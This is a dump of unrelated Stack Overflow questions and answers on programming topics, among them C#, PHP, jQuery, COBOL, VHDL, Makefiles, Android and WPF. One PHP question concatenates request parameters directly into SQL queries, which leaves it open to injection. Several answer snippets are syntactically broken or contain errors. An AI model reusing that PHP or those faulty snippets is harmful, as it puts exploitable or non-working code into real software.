_tempFlux[x][y].top; _tempFlux[x][y].bottom = K * _tempFlux[x][y].bottom; } //swap temp and the real one after the for-loops // // 3.2.2 Water Surface // ---------------------------------------------------------------------------------------- dV = dt * ( //sum in _tempFlux[x-1][y].right + _tempFlux[x][y-1].top + _tempFlux[x+1][y].left + _tempFlux[x][y+1].bottom //minus sum out - _tempFlux[x][y].right - _tempFlux[x][y].top - _tempFlux[x][y].left - _tempFlux[x][y].bottom ); //(6) _tempHeight[x][y] = _height[x][y] + dV / (dx*dx); //(7) //swap temp and the real one after the for-loops } } Helpers.Swap(ref _tempFlux, ref _flux); Helpers.Swap(ref _tempHeight, ref _height); } </code></pre>
8969875	0	 <p>Some editions of find, mostly on linux systems, possibly on others aswell support -regex and -regextype options, which finds files with names matching the regex.</p> <p>for example</p> <pre><code>find . -regextype posix-egrep -regex ".*\.(py|html)$" </code></pre> <p>should do the trick in the above example. However this is not a standard POSIX find function and is implementation dependent.</p>
17276924	0	 <p>Use <code>this</code>:</p> <pre><code>jQuery(".slideheader2").click(function() { jQuery(this).prev(".slidecontent2").slideToggle(250); }); </code></pre>
37058213	0	 <p>Since you need to start from most recently objects, you need to reverce your array:</p> <pre><code>myArray = myArray.sort_by { |obj| obj['date'] }.reverse </code></pre> <p>In Ruby more recent date is greater then less recent:</p> <pre><code>Date.today &gt; Date.today - 2 =&gt; true </code></pre>
9576254	0	File Upload - Add to existing Input <p>I have the following file input box that allows for multiple upload: </p> <pre><code>&lt;input name="filesToUpload[]" id="filesToUpload" type="file" multiple="" /&gt; </code></pre> <p>My users pick their files and they appear in a list. But say after picking their files a user wishes to add more files without overwriting the existing files chosen. Is it possible to add on to the list of existing files or would I need a new file input element?</p>
12571532	0	when to use which mod_rewrite rule for self routing? <p>There are several ways to write a mod_write rule for self routing. At the moment i am using this one:</p> <pre><code>RewriteCond %{REQUEST_URI} !\.(js|ico|gif|jpg|png|css)$ RewriteRule ^.*$ index.php [NC,L] </code></pre> <p>But i also could use</p> <pre><code>RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*) index.php </code></pre> <p>OR</p> <pre><code>ErrorDocument 404 /index.php </code></pre> <p>There may be many more. </p> <p>Are there any drawbacks for using one of these examples?</p> <p>Are there any use cases where one rule makes more sense then the other? </p> <p>Could you explain the difference between these rules in detail?</p> <p>Thx for your time and help.</p>
24069448	0	 <p>Set the offset vale false. Here is all the info you need. <a href="http://matplotlib.org/examples/pylab_examples/newscalarformatter_demo.html" rel="nofollow">Here is the tutorial link.</a></p> <pre><code>ax = plt.gca() ax.ticklabel_format(useOffset=False,useMathText=None) </code></pre> <p>Or as shown in the example, </p> <pre><code>from matplotlib.ticker import OldScalarFormatter gca().xaxis.set_major_formatter(ScalarFormatter(useOffset=False)) gca().yaxis.set_major_formatter(ScalarFormatter(useOffset=False)) </code></pre>
30110476	0	 <p>I think you may need to convert/cast @salary to a varchar to print it:</p> <pre><code> PRINT @surname + ' ' + convert(varchar(10),@salary) </code></pre>
13854934	0	No overload for method 'form3' takes '0' arguments C# <p>I have used this method on form2 to get values over to form3:</p> <pre><code>**form2.cs** Form3 frm3 = new Form3(cbDelivery.Text, cbOderNo.Text, cbCartonCode.Text, lblGRV.Text); frm3.Show(); this.Hide(); </code></pre> <p>But now every time I want to use that I get "no overload for method 'form3' takes '0' arguments".</p> <p>I do understand its looking for that same values but I don't need them. For example when I'm on form4 and want to go back to form3.</p> <p>How do I bypass this?</p> <p>Thanks in advance. </p>
39790078	0	 <p>so try sticking applicationId to your modules gradle, at defaultConfig like</p> <pre><code>defaultConfig { applicationId "com.example.myapp" minSdkVersion 17 targetSdkVersion 24 versionCode 1 versionName "1.0" } </code></pre>
5922758	0	Mimicking Google Account on the server-side <p>I recently bought an Android device. Now I'm wondering if can I mimic protocols it uses to communicate with Google servers? I basically want to setup some kind of "Google account", which wouldn't be served by Google, but would be fully compatible with Android devices. So, does Android use some kind of WebDAV protocol for accessing things like calendar, contacts? What kind of protocol does it use for mail (is it IMAP, as I would configure my account on a PC or some other Google-only-knows-what-is-it protocol?) Or do I just have to mimic GData protocols? Is there even a way to change host which Android talks to?</p> <p>I know that there are things like Google Apps. They allow you to setup your own, very little part of Google, which AFAIK can be connected to Android device (you just have to create an Google account with your domain after username, I suppose), but everything's still hosted on Google servers and Android still talks to Google host.</p> <p>If nothing works out, I could probably create some kind of service provider, which would act like those for Facebook, Twitter and Google, but for now I want to explore possibility of doing it on the server-side.</p> <p>Not that I don't trust Google. I just don't really like someone handling valuable part of my life in files I don't own. Assume this question void if someone found a way of <code>chown</code>ing files on Google servers ;). </p>
14017260	0	 <p>I'm going to be lazy here and take @H2CO3's answer to be working without trying it.</p> <pre><code>&lt;script type="text/javascript"&gt; function generate(var UNWANTED) { var r; do { r = Math.floor(Math.random() * 10); } while (r == UNWANTED); return r; } function GENERATE_RANDOM_FROM_0_TO_10_BUT_NOT_6_OR_SOMETHING_ELSE_(var NOT_GOOD){ return generate(NOT_GOOD) &lt;== One line solution. } &lt;script&gt; </code></pre>
24499272	0	Exported jar finds some files (not all) even though the paths are the same <p>When I run my program from eclipse, it shows up fine, the images from Resources\ show up, as do the sounds from the same place, and the text files are found properly. However, when I export my jar, and copy the resources into it with 7Zip, the images will work, but the sounds and the text files can't be found, even though they're in the same folder, with the same path used to find them in my code. I can fix this by putting a folder next to the jar file named Resources, and put everything in there, but I'd like to know why just putting it in the jar file only worked for the images, and how I can get it to work with the text and audio files as well. An example to show you what I mean:</p> <pre><code>File inventory = new File("Resources/inv.txt"); threadpath = "Resources/threads.wav"; enemy1 = new Sprite(new Texture("Resources/miniForestGolem.png")); </code></pre> <p>When I run it in eclipse, all three work fine, but when I export it, and put the resources folder in the jar file, only the image works.</p> <p><strong>Edit:</strong></p> <p>I know how to include my resources, and have done so, I'm asking about <em>how/why some of the resources aren't able to be accessed</em>, even after adding them in.</p>
34592745	0	How to customize angular-material grid system? <p>It's possible customize the angular-material grid system like bootstrap, by setting columns, gutter-width, etc? <a href="http://getbootstrap.com/customize/" rel="nofollow">http://getbootstrap.com/customize/</a></p> <p>The angular-material.scss has some mixins like "flex-properties-for-name", but always will create 20 columns with increments of 5%.</p> <p>I could override some mixins, but I was looking for other ways to do this.</p> <p><strong>Update:</strong></p> <p>My first solution was reuse some mixins from the angular-material.scss to create a custom grid. <a href="https://gist.github.com/dilvane/a5418f3f3c5d68cf1059" rel="nofollow">https://gist.github.com/dilvane/a5418f3f3c5d68cf1059</a></p> <p>Does anyone have a different approach?</p> <p><strong>Update:</strong></p> <p>Issue reported: <a href="https://github.com/angular/material/issues/6537" rel="nofollow">https://github.com/angular/material/issues/6537</a></p>
14057484	0	 <p>You can use 2 comprehensions to naturally loop over the data structures.</p> <pre><code>dict((drug, [file for file in file_list if drug in file]) for drug in drug_list) </code></pre> <p>Let's break this down. We'll need to create a dictionary, so let's use a list comprehension for that.</p> <pre><code>dict((a, str(a + " is the value")) for a in [1, 2, 3]) </code></pre> <p>The outermost part is a list comprehension that creates a dict. By creating 2-tuples of the form (key, value) we can then simply call dict() on it to get a dictionary. In our answer, we set the drug as the key and we set the value to a list that is built from another list comprehension. So far we have:</p> <pre><code>{'17A': [SOMETHING], '56B': [SOMETHING], '96A': [SOMETHING]} </code></pre> <p>Now we need to fill in the SOMETHINGs and this is what the inner comprehension does. It looks like your logic is to check if the drug text appears in the file. We already have the drug, so we can just say:</p> <pre><code>[file for file in file_list if drug in file] </code></pre> <p>This runs through the file list and adds it if the drug appears therein.</p> <p>In Python 2.7 and above, you can use a dictionary comprehension instead of using dict(). In that case it would look like:</p> <pre><code>{drug: [file for file in file_list if drug in file] for drug in drug_list} </code></pre> <p>This is much clearer since all the boiler plate of making 2-tuples and converting can be done away with.</p> <p>Comprehensions are an excellent way of writing code because the tend to be very clear descriptions of what you mean to do. It's worth noting that this is not the most efficient way of building the dictionary though, since it runs through every file for every drug. If the list of files is very long this could be very slow.</p> <p><em>Edit: My first answer was nonsense. As penance, I have made this detailed one.</em></p>
17628531	0	 <p>I suspect that you have a <code>SETLOCAL</code> in <code>a.bat</code>. ANY environment changes made after a SETLOCAL are backed out when the matching <code>ENDLOCAL</code> (or <code>EOF</code> in the same context) is reached.</p> <p>Depending on how you are terminating <code>a.bat</code>, you'd need something in the order of <code>ENDLOCAL&amp;set "Path=dir_b;%PATH%"&amp;GOTO :EOF</code> which will prepend <code>dir_b</code> to your existing path as you appear to exepect for the duration of that particular CMD session.</p>
8459164	0	 <p>The bottom line is, from the client side, you will not be able to load the source of an external domain. You could do it through a server side httpclient call, but NOT from the client side.</p>
165930	0	 <p><a href="http://www.phpsavant.com/" rel="nofollow noreferrer">Savant</a> is a lightweight, pure PHP templating engine. Version 2 has a <a href="http://www.phpsavant.com/yawiki/index.php?area=Savant2&amp;page=PluginCycle#" rel="nofollow noreferrer">cycle</a> plugin similar to the Smarty one mentioned earlier. I haven't been able to find a reference to the same plugin in version 3, but I'm sure you could write it fairly easily.</p>
16309863	0	Binding to interface typed properties <p>I just got bit by yet another binding oddity in WPF. Consider the following class and its <code>IStupid</code> typed property called <code>MyStupid</code>:</p> <pre><code>public struct DumbClass { public IStupid MyStupid { get { return new IsStupid(); } } } public interface IStupid{} public class IsStupid : IStupid{} </code></pre> <p>Now consider the following binding to a <code>ListBox</code>:</p> <pre><code>var items = new List&lt;DumbClass&gt;(new []{new DumbClass(), new DumbClass(), new DumbClass()}); OptListBox.ItemsSource = items; </code></pre> <p>There is nothing special about the xaml:</p> <pre><code>&lt;ListBox Name="OptOccurances" Height="238" HorizontalAlignment="Left" Margin="130,34,0,0" VerticalAlignment="Top" Width="229" &gt; &lt;/ListBox&gt; </code></pre> <p>As expected, the output of the listbox is 3 rows of "MyProject.DumbClass".</p> <p>However if I set <code>DisplayMemberPath="MyStupid"</code> (or create an ItemTemplate, binding 'MyStupid' directly to a TextBlock in the template), I get 3 empty rows instead, when I expected it to say <code>MyProject.IsStupid</code>. Why is the databinding engine unable to call the default <code>ToString()</code> implementation and display the class name. Is there a workaround for a interface typed property? At the very least, is there a reason why no binding error is thrown?</p>
31194354	0	How does the roTextureManager image cache behave? <p>Does the roTextureManager clear or replace bitmaps in its cache automatically when it sees that it is running out of memory? I cannot seem to find any good answer to this.</p>
15905789	0	 <p>First, a general note, as stated by the <a href="http://developer.android.com/reference/android/os/AsyncTask.html" rel="nofollow">Android Docs</a>:</p> <p><code>AsyncTasks should ideally be used for short operations (a few seconds at the most). If you need to keep threads running for long periods of time, it is highly recommended you use the various APIs provided by the java.util.concurrent pacakge such as Executor, ThreadPoolExecutor and FutureTask.</code></p> <p>To answer your questions:</p> <ol> <li>Yes - you can use Async task as if it were just a background thread - an Async task is merely a wrapper of <code>Thread</code> and <code>Handler</code> that allows the thread to seamlessly communicate with the UI thread. <strong>Warning!</strong> If you plan to update the UI thread, or otherwise reference an activity or fragment in the callbacks that reference the UI thread (i.e. onProgressUpdated and/or onPostExecute) you should explicitly check that the activity or fragment is still in a state from which it can be referenced and used. For example - here's the right and wrong way to do it when launching an AsyncTask from a fragment:</li> </ol> <p>Create your task with a ref to the activity so you can do something when it's done:</p> <pre><code>private class DownloadFilesTask extends AsyncTask&lt;URL, Integer, Long&gt; { Fragment mFragment; public DownloadFilesTask(Fragment fragment){ mFragment = fragment; } </code></pre> <p>WRONG: </p> <pre><code> protected void onPostExecute(Long result) { // if the fragment has been detached, this will crash mFragment.getView().findView... } </code></pre> <p>RIGHT:</p> <pre><code> protected void onPostExecute(Long result) { if (mFragment !=null &amp;&amp; mFragment.isResumed()) ... do something on the UI thread ... } } </code></pre> <ol> <li><p>If the Activity dies while an AsyncTask is executed, it will continue to run. Using the techniques listed above, you can avoid crashes by checking the lifecycle of the context that started the task. </p></li> <li><p>Finally, if you have a very long-running operation that does not require the UI thread at all, you should look into using a <a href="http://developer.android.com/reference/android/app/Service.html" rel="nofollow">Service</a>. Here's a blurb:</p></li> </ol> <p><code>A Service is an application component representing either an application's desire to perform a longer-running operation while not interacting with the user or to supply functionality for other applications to use</code> </p>
24599796	0	 <p>No, you shouldn't use the above instead of <code>atoi</code>.</p> <p>You should actually check the error information that <code>strtol</code> makes available:</p> <pre><code>i = atoi(s); </code></pre> <p>should be replaced by</p> <pre><code>char* stopped; i = (int)strtol(s, &amp;stopped, 10); if (*stopped) { /* handle error */ } </code></pre>
39123612	0	 <pre><code>select t.name, CASE rows.col_name WHEN 'Math' THEN t.Math WHEN 'English' THEN t.**math** WHEN 'Arts' THEN t.Arts end as Grade from the_table t, (select 'Math' as col_name union all select 'English' as col_name union all select 'Arts' as col_name) rows </code></pre>
19785156	0	COBOL to MSSQL table creation <p>We are trying data load to SQL server. So Can anyone suggest appropriate table schema for below mentioned Layout.</p> <pre><code> 01 PRECALC. 06 NEWGROUP57. 10 PRE-MODIFY-TYPE PIC X. 10 PRE-HMO-ID PIC X(3). 10 PRE-SC-CAP PIC X(1). 10 PRE-ENTRY-SOURCE PIC X(1). 10 PRE-DIV-NBR PIC 9(2). 06 PRE-MEMB-NBR. 10 PRE-MEMGRP PIC 9(5). 10 PRE-MEMSUB PIC 9(9). 10 PRE-MEMDEP PIC 9(2). 06 NEWGROUP58. 10 PRE-CTLNBR PIC 9(12). 10 PRE-AUDNBR PIC 9(8). 10 PRE-AUDSUB PIC 9(2). 10 PRE-DSLW-CONT PIC S9(5)V9(2) DISPLAY SIGN LEADING SEPARATE. 10 PRE-RECV-CYMD PIC 9(8). 10 PRE-SYS-CYMD PIC 9(8). 06 PRE-DETAIL-AREA. 07 PRE-DTL-DATA-EXP. 10 Z-PRE-DTL-DATA PIC X(1068). 07 PRE-DTL-DATA REDEFINES PRE-DTL-DATA-EXP OCCURS 4. 08 NEWGROUP59-1. 11 PRE-ICDA-CDE PIC X(5). 11 PRE-PROC PIC X(5). 11 PRE-PROC-MOD PIC X(4). 08 NEWGROUP59-2. 11 PRE-AMT-CLAIMED PIC S9(5)V9(2) DISPLAY SIGN LEADING SEPARATE. 11 PRE-AMT-COPAY PIC S9(5)V9(2) DISPLAY SIGN LEADING SEPARATE. 11 PRE-AMT-DISCOUNT PIC S9(5)V9(2) DISPLAY SIGN LEADING SEPARATE. 08 NEWGROUP59-3. 11 PRE-EPSDT-IND PIC X(1). 11 PRE-NDC-ID PIC X(11). 11 PRE-ORIG-POS-CDE PIC X(2). 08 NEWGROUP59-4. 11 PRE-ALLOW-AMT-RPR PIC S9(5)V9(2) DISPLAY SIGN LEADING SEPARATE. 06 PRE-DSIERR. 07 PRE-DSI-ERR-EXP. 10 Z-PRE-DSI-ERR PIC X(100). 07 PRE-DSI-ERR REDEFINES PRE-DSI-ERR-EXP OCCURS 100 PIC 9(1). 06 NEWGROUP60. 10 PRE-PAYOR-INFO PIC X(1). 10 PRE-RECOVERY-FLG PIC X(1). 10 PRE-RECV-MDCY PIC 9(8). 10 PRE-SYS-MDCY PIC 9(8). 10 PRE-PRV-TAX-ID PIC X(9). 06 PRE-RPR-DTL-RJMSG-EXP. 10 Z-PRE-RPR-DTL-RJMS PIC X(8). 06 PRE-RPR-DTL-RJMSG REDEFINES PRE-RPR-DTL-RJMSG-EXP OCCURS 4 PIC X(2). 06 PRE-RPR-DTL-RSNCD-EXP. 10 Z-PRE-RPR-DTL-RSNC PIC X(16). 06 PRE-RPR-DTL-RSNCD REDEFINES PRE-RPR-DTL-RSNCD-EXP OCCURS 4 PIC X(4). </code></pre>
8211235	0	 <p>It's a high tech operator that guarantees a syntax error when used like that.</p> <p>In it's normal use, you might see it used in object literal syntax to denote key:value pairs;</p> <pre><code>var object = { "name": "value", "name2": "value2" } </code></pre> <p>It can also be used to define a <a href="https://developer.mozilla.org/en/JavaScript/Reference/Statements/label">label</a> (less common).</p> <pre><code>loop1: for (var i=0;i&lt;10; i++) { for (var j=0;j&lt;10;j++) { break loop1; // breaks out the outer loop } } </code></pre> <p>And it's part of the ternary operator;</p> <pre><code>var something = conditional ? valueIfTrue : valueIfFalse; </code></pre>
28298622	0	data not saving into database <p>Hi In the below code data not saving into database.In the file I am working with android.client side data coming correctly. from client side I am passing username,password,groupname,friendusername it will return array list.</p> <p>Why I am not getting where i did mistake.</p> <p><strong>php</strong></p> <pre><code>case "CreateGroup": $userId = authenticateUser($db, $username, $password); if ($userId != NULL) { if (isset($_REQUEST['friendUserName'])) { $friendUserName = $_REQUEST['friendUserName']; $groupname = $_REQUEST['groupname']; $sql = "select Id from users where username='".$friendUserName."' limit 1"; if ($result = $db-&gt;query($sql)) { if ($row = $db-&gt;fetchObject($result)) { $requestId = $row-&gt;Id; $groupname = $row-&gt;Id; if ($row-&gt;Id != $userId) { $sql = "insert into group(providerId, requestId, groupname) values(".$userId.", ".$requestId.", ".$groupname.")"; echo $sql; if ($db-&gt;query($sql)) { $out = SUCCESSFUL; } else { $out = FAILED; } } else { $out = FAILED; } } else { $out = FAILED; } } else { $out = FAILED; } } else { $out = FAILED; } } else { $out = FAILED; } break; </code></pre>
22570292	0	 <p>There's an awful lot more happening in your loop than needs to be - it is considerably quicker to plot once then update the data, rather than tearing down the plot and creating a new one every time.</p> <p>Here's an idea for a more efficient arrangement (composed in browser, may contain errors):</p> <pre><code>clear; yThresh = 2.5; delete(instrfindall); s = serial('COM7', 'BaudRate', 57600); fopen(s); arq = fopen('dados.txt', 'w'); a = NaN(1,20); x = -18:1; subplot(3,1,1); hline = plot(x, a); haxes = gca; title('AcelX','fontsize',13,'fontweight','bold'); xlabel('Tempo','fontsize',10,'fontweight','bold'); ylabel('AcelX','fontsize',10,'fontweight','bold'); axis([1 3 -yThresh yThresh]); while ~feof(arq) %end of file newdata = fscanf(s, '%f%f%f'); a = [a(2:end) newdata(1)]; x = x + 1; % presumably you want to capture the data to that file at some point too? set(hline, 'XData', x, 'YData', a); xlim(haxes, [max(1,x(1)) x(end)]); end </code></pre> <p>For maximum update speed you might save a little more time by cheating the x axis - instead of changing the x data and axes limits each time, leave them untouched and just change the the tick labels (Or just forego the tick labels entirely, leaving nothing to update but the y data).</p>
15261884	0	 <p>This is a work around more than a fix but if you'd rather be coding than bug hunting it might be worth a go! (remember to log out of SS before doing this fix)</p> <p>In your mysite/_config.php file change </p> <pre><code>Director::set_environment_type("dev"); </code></pre> <p>to</p> <pre><code>if(!isset($_GET['isDev'])) Director::set_environment_type("dev"); else Director::set_environment_type("live"); </code></pre> <p>Then you can develop the website in dev mode normally and to use the admin in live mode and avoid the bug you just go to: <strong>http://{your_domain}/admin?isDev=0</strong></p> <p>N.B. might find a proper answer when pastebin.com isn't overloaded and I can see your responses!</p>
13492238	0	 <p>You didn't mention what OS are you using... If it's linux you can do it in commandline like that:</p> <pre><code>find /the/path/to/your/project -name ".class" -exec rm {} \; </code></pre>
17073448	0	How to improve my query performance by indexing <p>i just want to know how will i index the this table for optimal performance? This will potentially hold around 20M rows.</p> <pre><code> CREATE TABLE [dbo].[Table1]( [ID] [bigint] NOT NULL, [Col1] [varchar](100) NULL, [Col2] [varchar](100) NULL, [Description] [varchar](100) NULL ) ON [PRIMARY] </code></pre> <p>Basically, this table will be queried ONLY in this manner. </p> <pre><code> SELECT ID FROM Table1 WHERE Col1 = 'exactVal1' AND Col2 = 'exactVal2' AND [Description] = 'exactDesc' </code></pre> <p>This is what i did:</p> <pre><code> CREATE NONCLUSTERED INDEX IX_ID ON Table1(ID) GO CREATE NONCLUSTERED INDEX IX_Col1 ON Table1(Col1) GO CREATE NONCLUSTERED INDEX IX_Col2 ON Table1(Col2) GO CREATE NONCLUSTERED INDEX IX_ValueDescription ON Table1(ValueDescription) GO </code></pre> <p>Am i right to index all these columns? Not really that confident yet. Just new to SQL stuff, please let me know if im on the right track. </p> <p>Again, a lot of data will be put on this table. Unfortunately, i cannot test the performance yet since there are no available data. But I will soon be generating some dummy data to test the performance. But it would be great if there is already another option(suggestion) available that i can compare the results with.</p> <p>Thanks, jack</p>
2234337	0	 <p>You should register your controller as the open panel's delegate and then implement the <code>-panel:isValidFilename:</code> delegate method. Returning <code>NO</code> from that method allows you to prevent the open dialog from being closed:</p> <pre><code>- (BOOL)panel:(id)sender isValidFilename:(NSString *)filename { //validate the field in some way, in this case by making sure it's not empty if([[textField stringValue] length] == 0) { //let the user know they need to do something NSAlert *alert = [[NSAlert alloc] init]; [alert setMessageText:@"Please enter some text."]; [alert addButtonWithTitle:@"OK"]; [alert beginSheetModalForWindow:sender modalDelegate:nil didEndSelector:NULL contextInfo:NULL]; //return NO to prevent the open panel from completing return NO; } //otherwise, allow the open panel to close return YES; } </code></pre>
36401668	0	Webpacked Angular2 app TypeError: Cannot read property 'getOptional' of undefined <p>I've seen a lot of people having this issue, with a solution relating to angular2-polyfills.js. I'm already including this file in my webpack, however:</p> <pre><code>entry: { 'angular2': [ 'rxjs', 'zone.js', 'reflect-metadata', 'angular2/common', 'angular2/core', 'angular2/router', 'angular2/http', 'angular2/bundles/angular2-polyfills' ], 'app': [ './src/app/bootstrap' ] } </code></pre> <p>Despite this, I get the following errors when trying to load my root component:</p> <pre><code>Cannot resolve all parameters for 'ResolvedMetadataCache'(?, ?). Make sure that all the parameters are decorated with Inject or have valid type annotations and that 'ResolvedMetadataCache' is decorated with Injectable. Uncaught TypeError: Cannot read property 'getOptional' of undefined </code></pre> <p>Both from <code>dom_element_schema_registry:43</code>. What am I doing wrong?</p> <p>Below is the component file in question.</p> <pre><code>import {Component} from 'angular2/core'; import {MapComponent} from './map/map.component'; declare var window: any; var $ = require('jquery'); window.$ = $; window.jQuery = $; @Component({ selector: 'app', template: require('./app.component.jade'), styles: [], directives: [MapComponent] }) export class AppComponent {} </code></pre> <p><strong>EDIT</strong> This may be to do with my use of jade-loader; when I switch to requiring a raw HTML file, I get a different error:</p> <pre><code>dom_element_schema_registry.ts:43 Uncaught EXCEPTION: Error during instantiation of Token Promise&lt;ComponentRef&gt;!. ORIGINAL EXCEPTION: RangeError: Maximum call stack size exceeded ORIGINAL STACKTRACE: RangeError: Maximum call stack size exceeded at ZoneDelegate.scheduleTask (http://localhost:3000/angular2.bundle.js:20262:28) at Zone.scheduleMicroTask (http://localhost:3000/angular2.bundle.js:20184:41) at scheduleResolveOrReject (http://localhost:3000/angular2.bundle.js:20480:16) at ZoneAwarePromise.then [as __zone_symbol__then] (http://localhost:3000/angular2.bundle.js:20555:19) at scheduleQueueDrain (http://localhost:3000/angular2.bundle.js:20361:63) at scheduleMicroTask (http://localhost:3000/angular2.bundle.js:20369:11) at ZoneDelegate.scheduleTask (http://localhost:3000/angular2.bundle.js:20253:23) at Zone.scheduleMicroTask (http://localhost:3000/angular2.bundle.js:20184:41) at scheduleResolveOrReject (http://localhost:3000/angular2.bundle.js:20480:16) at ZoneAwarePromise.then [as __zone_symbol__then] (http://localhost:3000/angular2.bundle.js:20555:19) </code></pre>
14055627	0	implementing a login with facebook button in asp.net mobile <p>There is something very obvious that I'm missing. I've implemented the Log in with Facebook tutorial from <a href="http://www.asp.net/mvc/overview/getting-started/using-oauth-providers-with-mvc" rel="nofollow">asp.net</a>, then I created a mobile MVC 4 web site.</p> <p>I created an AuthConfig which calls:</p> <pre><code>OAuthWebSecurity.RegisterFacebookClient( appId: "...", appSecret: "..."); </code></pre> <p>then, in Views/Home/Login.cshtml, I created a button</p> <pre><code> &lt;li&gt;@Html.ActionLink("Log in with Facebook", "FacebookLogin")&lt;/li&gt; </code></pre> <p>and lastly, in /Controllers/HomeController.cs I added:</p> <pre><code> public ActionResult FacebookLogin() { return new FacebookLoginResult(this.Url.Action("ExternalLoginCallback")); } [AllowAnonymous] public ActionResult ExternalLoginCallback(string returnUrl) { AuthenticationResult result = OAuthWebSecurity.VerifyAuthentication(Url.Action("ExternalLoginCallback", new { ReturnUrl = returnUrl })); if (!result.IsSuccessful) { ... </code></pre> <p>(For the sake of completeness, FacebookLogin result is a class that inherits from ActionResult and calls</p> <pre><code> OAuthWebSecurity.RequestAuthentication("facebook", "/Home/ExternalLoginCallback"); </code></pre> <p>in the ExecuteResult() override. When I step through it, I see the button being pressed, I see ExecuteResult() being called, but it never makes it to ExternalLoginCallback(). The whole process simply errors out. There is likely something very easy and very obvious that I'm missing, but barring that, how can I enable more extended logging to see where it is breaking down? I'm using IIS Express for both the MVC site that worked and the MVC mobile site that doesn't.</p> <p>Thanks!</p>
624533	0	 <p>I got it to work by doing this:</p> <pre><code>#content2 { position:relative;top:15px; } #content3 { position:relative; top:-17px; } </code></pre> <p>but keep in mind that this will not work for you as soon as you have dynamic content. The reason I posted this example is that without knowing more specific things about your content I cannot give a better answer. However this approach ought to point you in the right direction as to using relative positioning.</p>
39809756	0	Understanding R convolution code with sapply() <p>I am trying to break apart the R code in <a href="http://stats.stackexchange.com/a/41263/67822">this post</a>:</p> <pre><code>x &lt;- c(0.17,0.46,0.62,0.08,0.40,0.76,0.03,0.47,0.53,0.32,0.21,0.85,0.31,0.38,0.69) convolve.binomial &lt;- function(p) { # p is a vector of probabilities of Bernoulli distributions. # The convolution of these distributions is returned as a vector # `z` where z[i] is the probability of i-1, i=1, 2, ..., length(p)+1. n &lt;- length(p) + 1 z &lt;- c(1, rep(0, n-1)) sapply(p, function(q) {z &lt;&lt;- (1 - q) * z + q * (c(0, z[-n])); q}) z } convolve.binomial(x) [1] 5.826141e-05 1.068804e-03 8.233357e-03 3.565983e-02 9.775029e-02 [6] 1.804516e-01 2.323855e-01 2.127628e-01 1.394564e-01 6.519699e-02 [11] 2.141555e-02 4.799630e-03 6.979119e-04 6.038947e-05 2.647052e-06 [16] 4.091095e-08 </code></pre> <p>I tried <code>debugging</code> in RStudio, but it still opaque.</p> <p>The issue is with the line: <code>sapply(p, function(q) {z &lt;&lt;- (1 - q) * z + q * (c(0, z[-n])); q})</code>.</p> <p>I guess that within the context of the call <code>convolve.binomial(x)</code> <code>p = q = x</code>. At least I get identical results if I pull the lines outside the function and run <code>sapply(x, function(x) {z &lt;&lt;- (1 - x) * z + x * (c(0, z[-n])); x}) </code>:</p> <pre><code>x &lt;- c(0.17,0.46,0.62,0.08,0.40,0.76,0.03,0.47,0.53,0.32,0.21,0.85,0.31,0.38,0.69) n &lt;- length(x) + 1 z &lt;- c(1, rep(0, n-1)) # [1] 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 sapply(x, function(x) {z &lt;&lt;- (1 - x) * z + x * (c(0, z[-n])); x}) z # Is extracted by calling it and contains the correct result </code></pre> <hr> <p>My questions are:</p> <ol> <li>What is the purpose of the <code>;q}</code> ending within <code>sapply()</code>?</li> <li>How does it relate to the <code>&lt;&lt;-</code> symbol, meant to make <code>z</code> accessible outside of the "implicit" loop that is <code>sapply()</code>?</li> </ol> <hr> <p>Below you can see my problem "hacking" this line of code:</p> <pre><code>(x_complem = 1 - x) sapply(x, function(x) {z &lt;&lt;- x_complem * z + x * (c(0, z[-n])); x}) z # Returns 16 values and warnings z_offset = c(0, z[-n]) # [1] 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 sapply(x, function(x) {z &lt;&lt;- (1 - x) * z + x * z_offset; x}) z # Returns different values. </code></pre>
250795	0	 <p>You didn't specify what compiler(s) you are using, but if you have access to gcc/g++ you can use the -MM option. </p> <p>What I do is create a file with the extension of .d for every .c or .cpp file, and then "include" the .d files. I use something like this in my Makefile:</p> <pre><code>%.d: %.c gcc $(INCS) $(CFLAGS) -MM $&lt; -MF $@ %.d: %.cpp g++ $(INCS) $(CXXFLAGS) -MM $&lt; -MF $@ </code></pre> <p>I then create the dependencies like this:</p> <pre><code>C_DEPS=$(C_SRCS:.c=.d) CPP_DEPS=$(CPP_SRCS:.cpp=.d) DEPS=$(C_DEPS) $(CPP_DEPS) </code></pre> <p>and this at the bottom of the Makefile:</p> <pre><code>include $(DEPS) </code></pre> <p>Is this the kind of behavior you're going for? The beauty of this method is that even if you're using a non-GNU compiler for actual compiling, the GNU compilers do a good job of calculating the dependencies.</p>
18426779	0	 <p>I cannot test this at the moment, but that should be possible by adding the following expression description to the "properties to fetch":</p> <pre><code>NSExpression *countExpression = [NSExpression expressionForFunction: @"count:" arguments: [NSArray arrayWithObject:[NSExpression expressionForKeyPath: @"drivers"]]]; NSExpressionDescription *expressionDescription = [[NSExpressionDescription alloc] init]; [expressionDescription setName: @"driversCount"]; [expressionDescription setExpression: countExpression]; [expressionDescription setExpressionResultType: NSInteger32AttributeType]; </code></pre>
31104069	0	VHDL: Subtract std_logic_vector <p>I am developing a code on VHDL and I need to make subtraction operation on std logic vector. I tried to define and use the following libraries:</p> <pre><code>library ieee; use ieee.std_logic_1164.all; use ieee.numeric_std.all; use ieee.std_logic_arith.all; </code></pre> <p>then I defined signals like:</p> <pre><code>signal r0,r1,r2,r3,r4,r5,r6,r7: STD_LOGIC_VECTOR (19 DOWNTO 0); </code></pre> <p>then I wanted to do the following subtraction:</p> <pre><code> r0 &lt;= r0(16 downto 8) - r0(7 downto 0); </code></pre> <p>But it gives me error on the "-" operator. The error says:</p> <blockquote> <p>Error (10327): VHDL error at euclidian_vhd_hls.vhd(84): can't determine definition of operator ""-"" -- found 0 possible definitions</p> </blockquote> <p>Please help me to solve this issue.</p> <p>Thanks a lot.</p>
